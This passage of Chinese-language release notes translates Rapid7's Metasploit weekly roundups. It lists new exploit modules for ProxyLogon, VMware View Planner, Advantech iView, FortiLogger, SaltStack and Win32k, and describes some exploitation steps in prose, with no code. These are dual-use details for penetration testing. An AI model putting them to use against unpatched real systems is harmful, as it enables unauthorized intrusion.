95, 38);"><strong>SaltStackSalt API Unauthenticated RCE through wheel_async client：</strong></span><span style="font-size: 15px;">由Alex Seymour和Christophe De La Fuente开发。他们利用了CVE-2021-25282，给Metasploit添加了一个利用模块，该模块利用了SaltStack Salt的REST API 3002.5及以下版本中的认证绕过和目录遍历漏洞。通过将自定义Grain模块写入扩展模块目录并等待重复维护检查执行该恶意Grain模块，可以实现以root用户身份远程执行代码。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.1624548736462094" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=859c2fe0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWMiasxYYUo8c8Bvl3MNcJ0JQ0mwOjG1eUTxgd2sYMf90Dt5geoQCQO7s6h0jiaeLA085us1qKJPKbA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"> </p><p style="text-align:left;"><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>WindowsGather Exchange Server Mailboxes：</strong></span><span style="font-size: 15px;">由SophosLabsOffensive安全团队提供，此模块用于枚举Exchange服务器上的邮箱。</span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.22382671480144403" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=e082f929&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFWMiasxYYUo8c8Bvl3MNcJ0JqB0mcXhYDqp3OeXbNRTm8C0I2Z5PMOUr4JqYiaWdnTw48CyRr5EFFVw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align:left;"><br/></p><h2><span style="font-family:微软雅黑,sans-serif;"><br/></span></h2><h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-family: 微软雅黑, sans-serif;font-size: 17px;">功能更新（3）</span></strong></span></h2><p><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>更新1：</strong></span><span style="font-size: 15px;font-family: 微软雅黑, sans-serif;">改善了控制台中show命令的性能。例如show exploits现在只需要0.5秒左右，而不是像以前一样可能10几秒</span></p><p><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>更新2：</strong></span><span style="font-size: 15px;font-family: 微软雅黑, sans-serif;">更新了ProxyLogon RCE模块以使用RPC请求来标识后端服务器的FQDN。</span></p><p><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;font-family: 微软雅黑, sans-serif;">更新3：</span></strong></span><span style="font-size: 15px;font-family: 微软雅黑, sans-serif;">更新Linux metermeter实现，以支持search命令，该命令允许用户在受损系统上搜索文件。</span></p><p><span style="font-size: 15px;font-family: 微软雅黑, sans-serif;"><br/></span></p><h2><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-family: 微软雅黑, sans-serif;font-size: 17px;">BUG修复（4）</span></strong></span></h2><ul style="list-style-type:disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p><span style="font-size: 15px;">修复了当RHOST选项被指定为域名时VHOST选项不被正确填充的问题。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">更新nexpose_connect登录功能，以正确处理密码中的@符号。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">这改进了ProxyLogon RCE模块，解决了有效载荷运行两次的问题。</span></p></li><li style="font-size: 15px;"><p><span style="font-size: 15px;">修复了Python Meterpreter的DNS解析功能中的一个错误。</span></p><p><span style="font-size: 15px;"></span></p></li></ul><h2 style="background:white;"><strong><span style="font-size:17px;line-height:173%;font-family:微软雅黑,sans-serif;color:#E95F26;letter-spacing:.5px;">如何获取最新版本</span></strong></h2><section style="padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0em;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-align: left;background: white;"><span style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p><span style="font-size:15px;color:black;">    与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub获取最新的更新信息:</span></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p><span style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-size:15px;font-family:等线;color:#E95F26;letter-spacing:.5px;">Pull Requests 6.0.37...6.0.38</span><span style="font-size:15px;font-family:等线;color:black;letter-spacing:.5px;">(</span></span><span style="max-width: 100%;font-size: 12px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 等线;color: rgb(0, 213, 255);letter-spacing: 0.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-03-25T11%3A07%3A15-05%3A00..2021-04-01T08%3A47%3A57-05%3A00%22" target="_blank">https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-03-25T11%3A07%3A15-05%3A00..2021-04-01T08%3A47%3A57-05%3A00%22</a></span></em></span><span style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><em><span style="font-size:15px;font-family:等线;color:#00D5FF;letter-spacing:.5px;"> </span></em></span><span style="font-size: 15px;font-family: 等线;color: black;letter-spacing: 0.5px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">)</span></p></li><li><section style="padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0em;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-align: left;background: white;"><span style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p><span style="font-size: 15px;font-family: 等线;color: rgb(233, 95, 38);letter-spacing: 0.5px;">Full diff 6.0.37...6.0.38</span><span style="font-size: 15px;font-family: 等线;color: black;letter-spacing: 0.5px;"> (</span><span style="font-size: 12px;"><em style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 等线;color: rgb(0, 213, 255);letter-spacing: 0.5px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://github.com/rapid7/metasploit-framework/compare/6.0.37...6.0.38" target="_blank">https://github.com/rapid7/metasploit-framework/compare/6.0.37...6.0.38</a></span></em></span><span style="font-size: 15px;font-family: 等线;color: black;letter-spacing: 0.5px;">)</span></p></span></section></li></ul></span></section><section style="font-family: 0px 0px 0px 48px;padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0em;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background: white;text-align: left;"><br/></section><section style="padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0em;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background: white;text-align: left;"><span style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">    </span><span style="font-size:15px;color:black;">如果您是git用户，那么可以克隆</span><span style="font-size: 15px;color: rgb(233, 95, 38);max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">MetasploitFramework repo</span><span style="font-size: 15px;color: black;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">（</span><span style="font-size: 12px;"><em style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: 等线;color: rgb(0, 213, 255);max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://github.com/rapid7/metasploit-framework" target="_blank">https://github.com/rapid7/metasploit-framework</a></span></em></span><span style="font-size: 15px;color: black;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">）以获取最新版本。<br style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></span></section><section style="padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0em;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background: white;text-align: left;"><br/></section><section style="padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0em;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background: white;text-align: left;"><span style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">    </span>要在不使用git的情况下安装，可以使用只开放源码的<span style="font-size: 15px;color: rgb(233, 95, 38);max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">Nightly Installers</span></section><section style="padding: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(51, 51, 51);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0em;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background: white;text-align: left;"><span style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">(</span><span style="font-size: 12px;"><em style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: 等线;color: rgb(0, 213, 255);max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers" target="_blank">https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers</a></span></em></span><span style="font-size:15px;color:black;"><span style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">)</span>安装程序或</span><span style="font-size: 15px;color: rgb(233, 95, 38);max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">binaryinstallers</span><span style="font-size: 15px;color: black;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">(</span><span style="font-size: 12px;"><em style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="font-family: 等线;color: rgb(0, 213, 255);max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://www.rapid7.com/products/metasploit/download/" target="_blank">https://www.rapid7.com/products/metasploit/download/</a></span></em></span><span style="font-size:15px;color:black;"><span style="max-width:100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">)</span><span style="font-size:15px;color:black;">安装程序（也包括商业版）。</span></span><p><br/></p></section><p> </p><p><br/></p>



<p><a href="https://blog.rapid7.com/2021/04/02/metasploit-wrap-up-105/">阅读原文</a></p>
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      <pubDate>Fri, 09 Apr 2021 10:09:00 +0800</pubDate>
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      <title>Metasploit最新资讯</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI4OTUxMzA1NA==&amp;mid=2247484546&amp;idx=1&amp;sn=a087248c2fa8cec8068edf8db37e3217</link>
      <description>Metasploit最新资讯！！新模块*7，功能更新*5，BUG修复*10~</description>
      <content:encoded><![CDATA[<p>
<span>翻译：李鹏</span> <span>2021-04-02 10:17</span> <span style="display: inline-block;"></span>
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<p>Metasploit最新资讯！！新模块*7，功能更新*5，BUG修复*10~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=44aa6897&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOibSM9tKqdjEcafm1naJQfxiaZ5liaO4QrnCjDictuD4qiaL1UUY7GEqfnyQ%2F0%3Fwx_fmt%3Djpeg"/>
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<h2 style="text-align: left;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-family: 微软雅黑, sans-serif;font-size: 17px;">新模块（7）</span></strong></span></h2><p style="text-align: left;"><span style="color: rgb(233, 95, 38);font-size: 15px;"><strong><span style="color: rgb(233, 95, 38);font-family: 微软雅黑, sans-serif;"><br/></span></strong></span></p><p style="text-align:left;"><span style="font-size: 15px;"><span style="color: rgb(233, 95, 38);"><strong>Microsoft Exchange ProxyLogon</strong></span><strong>:</strong>由GreyOrder，Orange Tsai和mekhalleh（RAMELLASébastien）为其添加了3个模块，这些模块利用了3月带外安全更新中修补的两个Microsoft Exchange Server漏洞：</span></p><p style="text-align: left;"><img class="rich_pages" data-ratio="0.23104693140794225" data-s="300,640" data-backh="117" data-type="png" data-w="554" style="width: 100%;height: auto;" data-backw="505" src="https://wechat2rss.xlab.app/img-proxy/?k=85ea8b20&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOLFkf96pV2EI0cGJWbUQseWYluKvRro9CCML0D814ykgOK8TEdN9kJg%2F640%3Fwx_fmt%3Dpng"/></p><ul class="list-paddingleft-2" style="list-style-type: disc;"><li><p style="text-align: left;"><span style="font-size: 15px;">一个扫描器模块，用于检查目标是否易受服务器端请求伪造（SSRF）攻击，识别为CVE-2021-26855。</span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;">一种辅助模块，用于转储给定电子邮件地址的邮箱，包括电子邮件、附件和联系信息。此模块利用与CVE-2021-26855相同的SSRF漏洞。</span></p></li><li><p style="text-align: left;"><span style="font-size: 15px;">利用Microsoft Exchange服务器上未经身份验证的远程代码执行的exploit模块。这允许作为系统用户执行任意命令，利用相同的SSRF漏洞(识别为CVE-2021-26855)和认证后任意文件写入漏洞(识别为CVE-2021-27065)。</span><span style="font-size: 15px;"></span></p></li></ul><p style="text-align: left;"><span style="font-size: 15px;"></span><span style="font-size: 15px;">其影响的版本：</span></p><p style="margin-left: 28px;text-align: left;"><span style="font-size: 15px;">Exchange 2013Versions &lt; 15.00.1497.012</span></p><p style="margin-left: 28px;text-align: left;"><span style="font-size: 15px;">Exchange 2016CU18 &lt; 15.01.2106.013</span></p><p style="margin-left: 28px;text-align: left;"><span style="font-size: 15px;">Exchange 2016CU19 &lt; 15.01.2176.009</span></p><p style="margin-left: 28px;text-align: left;"><span style="font-size: 15px;">Exchange 2019CU7 &lt; 15.02.0721.013</span></p><p style="margin-left: 28px;text-align: left;"><span style="font-size: 15px;">Exchange 2019CU8 &lt; 15.02.0792.010</span></p><p style="margin-left: 28px;text-align: left;"><span style="font-size: 15px;"><br/></span></p><p style="text-align: left;"><span style="font-size: 15px;"><span style="color: rgb(233, 95, 38);"><strong>VMware View Planner Unauthenticated Log File Upload RCE</strong></span><strong>：</strong>由wvu、Grant Willcox和MikhailKlyuchnikov利用CVE-2021-21978（VMWareView Planner Harness 4.6安全修补程序1之前版本中存在的任意文件上载漏洞）执行。</span></p><p style="text-align: left;"><img class="rich_pages" data-ratio="0.16064981949458484" data-s="300,640" data-backh="82" data-type="png" data-w="554" style="width: 100%;height: auto;" data-backw="509" src="https://wechat2rss.xlab.app/img-proxy/?k=447cc382&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOBoYQUuzKIY58Rmp0KfM74qROYl4rUGYd7H3m9iapIhQlX0ricz67iaCVA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;"><span style="color: rgb(233, 95, 38);"><strong>Advantech iView Unauthenticated Remote Code Execution</strong></span><strong>：</strong>由wvu和Spencer McIntyre利用CVE-2021-22652对Advantech iView进行未经身份验证的远程执行代码，该漏洞利用CVE-2021-22652，此模块利用未经身份验证的配置更改漏洞，并结合未经身份验证的文件写入原语，导致任意文件写入，允许以运行iView（通常为NT AUTHORITY\SYSTEM）的用户身份远程执行代码。利用漏洞的功能是首先在webroot中将EXPORTPATH修改为可写路径。然后利用导出函数将JSP内容写入先前配置的路径，然后可以请求该路径来触发应用程序上下文中OS命令的执行。完成后，将恢复原始配置值。</span></p><p style="text-align: left;"><img class="rich_pages" data-ratio="0.17328519855595667" data-s="300,640" data-backh="87" data-type="png" data-w="554" style="width: 100%;height: auto;" data-backw="501" src="https://wechat2rss.xlab.app/img-proxy/?k=ccf69d4d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQONpOEQoKCBuCjUq4XdoicJ3NbhP4SN3W1wmF60YcxribTWHouD6KKTUhw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align:left;"><span style="font-size: 15px;"><span style="color: rgb(233, 95, 38);"><strong>FortiLogger Arbitrary File Upload Exploit</strong></span><strong>：</strong>由Berkan Er开发，为CVE-2021-3378添加了一个漏洞利用模块。此模块利用通过未经验证的POST请求上传到Fortigger 4.4.2.2热点设置的“/Config/SaveUploadedHotspotLogoFile”上传路径的任意文件。Fortigogger是一款基于web的日志记录和报告软件，专为运行在Windows操作系统上的FortiGate防火墙而设计。它包含即时状态跟踪、日志记录、搜索/过滤、报告和热点等功能。</span></p><p style="text-align: left;"><img class="rich_pages" data-ratio="0.18231046931407943" data-s="300,640" data-backh="92" data-type="png" data-w="554" style="width: 100%;height: auto;" data-backw="505" src="https://wechat2rss.xlab.app/img-proxy/?k=6095d3a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOibHpslcQAPqKYWMZEUnZM0p41OF9wLaUHibBc6dYdHSpaicuKSH0ibfEbA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-size: 15px;color: rgb(233, 95, 38);"><strong>Win32k ConsoleControl Offset Confusion</strong></span><span style="font-size: 15px;"><strong>：</strong>由BITTERAPT、JinQuan、KaLendsi、LiHao、MaDongZe、SpencerMcIntyre和TuXiaoYi开发，其利用了win32k中的LPE漏洞CVE-2021-1732。</span></p><p style="text-align: left;"><img class="rich_pages" data-ratio="0.2003610108303249" data-s="300,640" data-backh="100" data-type="png" data-w="554" style="width: 100%;height: auto;" data-backw="499" src="https://wechat2rss.xlab.app/img-proxy/?k=e81fd043&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOywxQf3seROdTlrRBeAqAbYNsRjzIkAd3Mm4cw8S6dSfMbyhnUZTu1A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><h2 style="text-align: left;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-family: 微软雅黑, sans-serif;font-size: 17px;">功能更新（5）</span></strong></span></h2><p style="text-align: left;"><strong><span style="font-size: 15px;color: rgb(233, 95, 38);">更新1：</span></strong><span style="font-size: 15px;color: rgb(233, 95, 38);"></span><span style="font-size: 15px;">最近引入的Zeitwerk加载器现在以更灵活的方式封装和保留。此外lib /msf_autoload.rb现在被标记为一个单例类，以确保加载器的一个实例在任何时候都只能存在。加载过程也被分解成不同的方法，以允许额外的调整、扩展和抑制。</span></p><p style="text-align: left;"><img class="rich_pages" data-ratio="0.0740072202166065" data-s="300,640" data-backh="37" data-type="png" data-w="554" style="width: 100%;height: auto;" data-backw="500" src="https://wechat2rss.xlab.app/img-proxy/?k=33788c1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOKW00f3LMtpQ36mu18kfYFDoFbvDxySEYJn8UwkRiamLJLeRqiapFz9PQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><strong><span style="font-size: 15px;color: rgb(233, 95, 38);">更新2：</span></strong><span style="font-size: 15px;">avast_memory_dump.rb已经更新了附加路径以检查avdump.exe实用程序，在该工具与标准AV解决方案以外的其他Avast软件捆绑在一起的情况下，该工具应能帮助Metasploit用户。</span></p><p style="text-align: left;"><img class="rich_pages" data-ratio="0.2111913357400722" data-s="300,640" data-backh="106" data-type="png" data-w="554" style="width: 100%;height: auto;" data-backw="500" src="https://wechat2rss.xlab.app/img-proxy/?k=8e86d0e5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQO49554kkjayLicMtxRP7Lf6TzWics1ibIzwun8Db8sr4n040lfADODicBSQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">更新3：</span></strong></span><span style="font-size: 15px;">搜索命令已经更新，可以添加-s和-r标志。-s标志允许您按等级，公开日期，模块名称，模块类型或模块是否实现检查方法进行搜索。结果将以升序排列，但是用户可以使用-r标志以降序显示结果。</span></p><p style="text-align: left;"><img class="rich_pages" data-ratio="0.2888086642599278" data-s="300,640" data-backh="146" data-type="png" data-w="554" style="width: 100%;height: auto;" data-backw="504" src="https://wechat2rss.xlab.app/img-proxy/?k=c1afe640&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOTFtLfkKEZVtVgUKANkuia4cMldWqJD2FuCQPAYyQJuYMout9PxwxLibw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">更新4：</span></strong></span><span style="font-size: 15px;">重写了tools / exploits / *下的Ruby脚本，以便它们捕获信号并方便地处理它们，而不是堆栈跟踪。</span></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="color: rgb(233, 95, 38);"><strong><span style="font-size: 15px;">更新5：</span></strong></span><span style="font-size: 15px;">time命令被添加到msfconsole中，以允许开发人员计算执行某些命令所需的时间。</span><br/></p><p style="text-align: left;"><img class="rich_pages" data-ratio="0.07847533632286996" data-s="300,640" data-backh="39" data-type="png" data-w="446" style="width: 100%;height: auto;" data-backw="500" src="https://wechat2rss.xlab.app/img-proxy/?k=dcc0fd07&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOt2aa0GPdJn0qn1jSVnbMoNU046uwg8bv1NE2eA8mlmX1BHftdRBagw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><h2 style="text-align: left;"><strong><span style="font-size: 17px;font-family: 微软雅黑, sans-serif;color: rgb(233, 95, 38);">BUG修复（10）</span></strong></h2><ul style="list-style-type: disc;" class="list-paddingleft-2"><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">在尝试在没有 DB 连接的情况下使用 UUID 跟踪时向用户提供反馈。</span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">替换弃用的::Rex:Socket.gethostbyname用途， 以有利于较新的::Rex::Socket.getaddress功能，以支持Ruby 3。</span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">将on_session_open事件移动到会话启动之后，这是公开auto_add_route等插件所需的一些功能所必需的。</span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">The ssh_login_pubkey。rb模块已经更新，以支持为KEY_PATH选项指定私钥的路径，并在几个地方改进错误，以减少堆栈跟踪并使错误消息更容易理解。</span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">apache_activemq_upload_jsp漏洞已经更新，可以成功利用运行Java8的脆弱系统。此外，还添加了模块文档。</span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">filezilla_client_cred。对rb进行了更新，以防止它错误地将字符串识别为Base64编码的，而实际上它们不是。现在，在尝试解码字符串之前，新代码将检查该字符串是否已标记为Base64编码。</span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">netgear_r6700_pass_reset。rb模块已更新，以修复可能偶尔导致检查函数失败的输出错误，并修复因在nil对象上调用方法而导致的堆栈跟踪。</span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">修复了msfconsole的搜索命令在搜索词是特定的单字母查询时高亮显示会中断的错误。</span></p></li><li style="font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;">修复了在Meterpreter中下载命令如果在包含UTF-8字符的目录上运行，将导致错误。</span></p><p style="text-align: left;"><br/></p></li></ul><p style="text-align: left;"><span style="font-size: 12px;">彩蛋：<span style="font-family: 等线;">哈哈最新版的metasploit的进入图标现在是小马宝莉哦！！！会渗透的女孩子一定很可爱吧！！！</span></span></p><section style="text-align: center;text-indent: 0em;margin-left: 0px;margin-right: 0px;"><img class="rich_pages" data-ratio="0.9956140350877193" data-s="300,640" style="width: 38px;height: 38px;" data-type="png" data-w="456" src="https://wechat2rss.xlab.app/img-proxy/?k=e55a16c6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOGP6qk5xmeub8BEGaUfD4urcAYq1BnP39NibKP5UD2HibnC3FecTwq3UQ%2F640%3Fwx_fmt%3Dpng"/>     <img class="rich_pages" data-ratio="1.180522565320665" data-s="300,640" style="width: 33px;height: 39px;" data-type="png" data-w="421" src="https://wechat2rss.xlab.app/img-proxy/?k=562ecfd8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOXNicrdPYG2O2nEBg4FzkjibrqbXoqbSEV9gcdN75Z9pJmeeMkE7HiclvA%2F640%3Fwx_fmt%3Dpng"/><span style="text-align: center;">     </span><img class="rich_pages" data-ratio="1.2446555819477434" data-s="300,640" style="width: 32px;height: 40px;" data-type="png" data-w="421" src="https://wechat2rss.xlab.app/img-proxy/?k=fc30c587&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOvy7DpL3tpm7PGX9iaEmpGqtcd4lVeYdPQfYopJuV1Fib5He8HmR4vyxA%2F640%3Fwx_fmt%3Dpng"/><span style="text-align: center;">     </span><img class="rich_pages" data-ratio="1.3066037735849056" data-s="300,640" style="width: 30px;height: 39px;" data-type="png" data-w="424" src="https://wechat2rss.xlab.app/img-proxy/?k=22b2095c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Flbnpx8zSNFVe1KjgicQpUUycB3MFwiblQOQr3Ul5zF53yfLzYBAOpiaHptdgXIN6wic2odfxnq7n0KkpPoNbpEJHdA%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: left;text-indent: 0em;margin-left: 0px;margin-right: 0px;"><br/></section><h2 style="text-align: left;"><span style="color: rgb(233, 95, 38);"><strong><span style="color: rgb(233, 95, 38);font-family: 微软雅黑, sans-serif;font-size: 17px;">如何获取最新版本</span></strong></span></h2><section style="text-align: left;background: white;text-indent: 0em;"><span style="font-family: 等线;color: black;font-size: 15px;">    与过去一样，您可以使用命令msfupdate更新到最新的 Metasploit Framework，也可以通过GitHub获取最新的更新信息:</span></section><ul class="list-paddingleft-2" style="list-style-type: disc;"><li style="text-align: left;font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;font-family: 等线;color: rgb(233, 95, 38);">Pull Requests 6.0.36...6.0.37</span><span style="font-size: 15px;font-family: 等线;color: black;">(</span><span style="color: rgb(0, 213, 255);font-size: 14px;"><em><span style="font-family: 等线;"><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-03-18T09%3A30%3A28-05%3A00..2021-03-25T11%3A07%3A15-05%3A00%22" target="_blank">https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-03-18T09%3A30%3A28-05%3A00..2021-03-25T11%3A07%3A15-05%3A00%22</a></span></em></span><span style="font-size: 15px;"><span style="color: rgb(0, 213, 255);"><em><span style="font-family: 等线;"> </span></em></span><span style="font-family: 等线;color: black;">)</span></span></p></li><li style="text-align: left;font-size: 15px;"><p style="text-align: left;"><span style="font-size: 15px;font-family: 等线;color: rgb(233, 95, 38);">Full diff 6.0.36...6.0.37</span><span style="font-size: 15px;font-family: 等线;color: black;"> (</span><span style="color: rgb(0, 213, 255);font-size: 14px;"><em><span style="font-family: 等线;"><a href="https://github.com/rapid7/metasploit-framework/compare/6.0.36...6.0.37" target="_blank">https://github.com/rapid7/metasploit-framework/compare/6.0.36...6.0.37</a></span></em></span><span style="font-size: 15px;font-family: 等线;color: black;">)</span></p><p style="text-align: left;"><span style="font-size: 15px;font-family: 等线;color: black;"></span></p></li></ul><section style="margin-left: 48px;background: white;text-indent: 0em;text-align: left;"><br/></section><section style="margin-left: 48px;background: white;text-indent: 0em;text-align: left;"><br/></section><section style="background: white;text-indent: 0em;text-align: left;"><span style="font-size: 